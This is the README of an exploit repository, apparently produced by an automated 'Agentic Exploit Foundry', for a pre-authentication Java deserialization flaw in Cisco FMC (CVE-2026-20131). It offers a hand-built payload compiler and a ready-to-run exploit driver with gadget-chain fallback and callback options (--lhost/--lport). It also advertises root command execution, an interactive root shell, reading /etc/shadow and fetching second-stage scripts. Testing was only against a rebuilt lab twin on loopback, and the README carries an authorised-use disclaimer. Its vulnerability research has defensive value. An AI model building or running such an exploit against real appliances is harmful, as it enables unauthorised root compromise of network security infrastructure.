CVE-2026-20131 (Cisco FMC): pre-auth Java deserialization to root — VERIFIED-AT-PRIMITIVE showcase artifact (rebuilt twins; appliance not executed, entitlement-gated)
[b63] b63 -- Agentic Exploit Foundry
verification=VERIFIED-AT-PRIMITIVE (rebuilt target)
The appliance was never executed. The twins are rebuilds. Root execution was beacon-verified on the rebuilt target only. Appliance impact is documented, not reproduced here (entitlement-gated).
VERIFIED-AT-PRIMITIVE means: the primitive (unauthenticated Java
deserialization reaching ObjectInputStream.readObject() in a root web tier)
plus the full exploitation path -- differential sink discovery, hand-compiled
payload, beacon-confirmed root execution, interactive root shell, two-stage
appliance-fetched script execution -- is captured, end to end, on a rebuilt
target. The Cisco FMC appliance itself is not claimed, tested, or reproduced
here: FMC images require Cisco entitlement (CCO login + Smart Account), and
obtaining one outside that process is out of bounds. Everything below the
primitive on the real appliance is documented, not reproduced.
03_exploit/*/jserial.py -- a hand-written Java serialization wire-format
compiler in Python (no JDK, no ysoserial, no JAR): stream magic, class
descriptors with dumped SUIDs/flags/field layouts, TC_OBJECT/TC_ARRAY/
TC_CLASS/TC_REFERENCE handling, custom writeObject bodies. Its output is
proven byte-equivalent to the platform's own ObjectOutputStream -- exactly
one differing byte per stream (the unused HashMap threshold field), and the
JVM parses both (04_verify/25-21-payload-equivalence-labelled.txt).03_exploit/*/fmc_exploit.py -- the exploit driver, two builds (fast opt,
audit-grade readable): fingerprint, differential path discovery (serialized
sentinel vs equal-length zero-filled control), cc3/cc4 chain fallback,
beacon-verified delivery. Success is a target-initiated callback, never an
HTTP status.02_lab/ -- the rebuilt target (Tomcat 9 / JDK 17, root web tier, FMC-shaped
fingerprinting surface, commons-collections 3.2.1 + 4.0) and the patched
twin (ObjectInputFilter allowlist) for the causal negative. The gadget
jars under 02_lab/libs/ are fetched at build time (Maven Central, pinned
digests) -- they are not redistributed here.04_verify/ -- 34 captured transcripts governed by INDEX.txt
(CURRENT / SUPERSEDED / INVALID), including 10/10 vulnerable-twin reliability
and 5/5 patched-twin refusals with zero callbacks.ObjectInputFilter
allowlist), not Cisco's shipped patch.A second, independent track reached the same primitive with ysoserial's CC6
chain plus a PayloadFix post-processor that defeats LazyMap's generation-time
metadata cache (root execution nonce-verified 10/10, causal
ObjectInputFilter negative: HTTP 403 FILTER-REJECT, empty receipt directory).
Its technique is credited here as a documented alternative route; the shipped
bundle needs no JDK, which is why it is canonical. The scope statement is
identical for both routes: the Cisco binary itself is not executed.
# 0. fetch the two gadget jars (not shipped; sha256-pinned in the lab recipe)
# Maven Central: commons-collections 3.2.1, commons-collections4 4.0
# into 02_lab/libs/ -- see 05_deliver/lab-recipe.md for the pinned digests
# 1. build and start the rebuilt target + patched twin (loopback 18443/18444)
cd 02_lab && docker compose build && docker compose up -d
curl -s http://127.0.0.1:18443/ | grep -o 'Version [0-9.]*' # 7.4.5 (vuln twin)
curl -s http://127.0.0.1:18444/ | grep -o 'Version [0-9.]*' # 7.4.6 (patched twin)
# 2. vulnerable twin -- root execution proven by the target's own callback
cd ../03_exploit/exploit_opt
python3 fmc_exploit.py http://127.0.0.1:18443 --lhost <bridge-gateway> --lport 9001 \
--cmd 'id; hostname'
# 3. patched twin -- same stream, causal refusal (exit 1, zero callbacks)
python3 fmc_exploit.py http://127.0.0.1:18444 --lhost <bridge-gateway> --lport 9002 \
--path /api/fmc_platform/v1/info/serverversion --cmd 'id'
docker logs fmc-patched 2>&1 | tail -2
# ... deserialization failure: java.io.InvalidClassException: filter status: REJECTED
Full option table, shell and two-stage modes, and the "HTTP status is not the
signal" reading guide: 05_deliver/README.md. Lab
recipe (build, jars, classpath metadata dumps):
05_deliver/lab-recipe.md. Analysis:
05_deliver/writeup.md -- section 5 is what the
verification actually runs against; section 8 is precisely what it does not
claim.
| State | Expectation |
|---|---|
| rebuilt vulnerable twin (7.4.5 shape) | target-initiated PUT beacon, uid=0(root) output streamed back, /etc/shadow readable, interactive shell, two-stage script fetch |
patched twin (ObjectInputFilter allowlist) | InvalidClassException: filter status: REJECTED for both chain generations, zero callbacks, exit 1 |
If a licensed FMC image is ever obtained and the run is upgraded to a demonstrated-on-appliance result, this repository would be republished at a higher tier. Until then there is no promised follow-up; the gap list above is the honest ceiling.
This repository is published for education and defence research only, to be
used in an authorised laboratory environment on systems you own or are
explicitly contracted to test. The exploit is verified against the rebuilt
lab target in 02_lab/ on loopback. Running it against any Cisco FMC or other
third-party appliance without written authorisation is unlawful in most
jurisdictions. The publishable value here is the honesty machinery: a novel
payload compiler and a model of how to report an appliance-class primitive
without overclaiming.
MIT -- see LICENSE.
MANIFEST.txt at the repository root lists sha256 over every shipped file as
frozen for publication (generated after the identity scrub; it supersedes the
run-time BUNDLE.sha256, which is not shipped).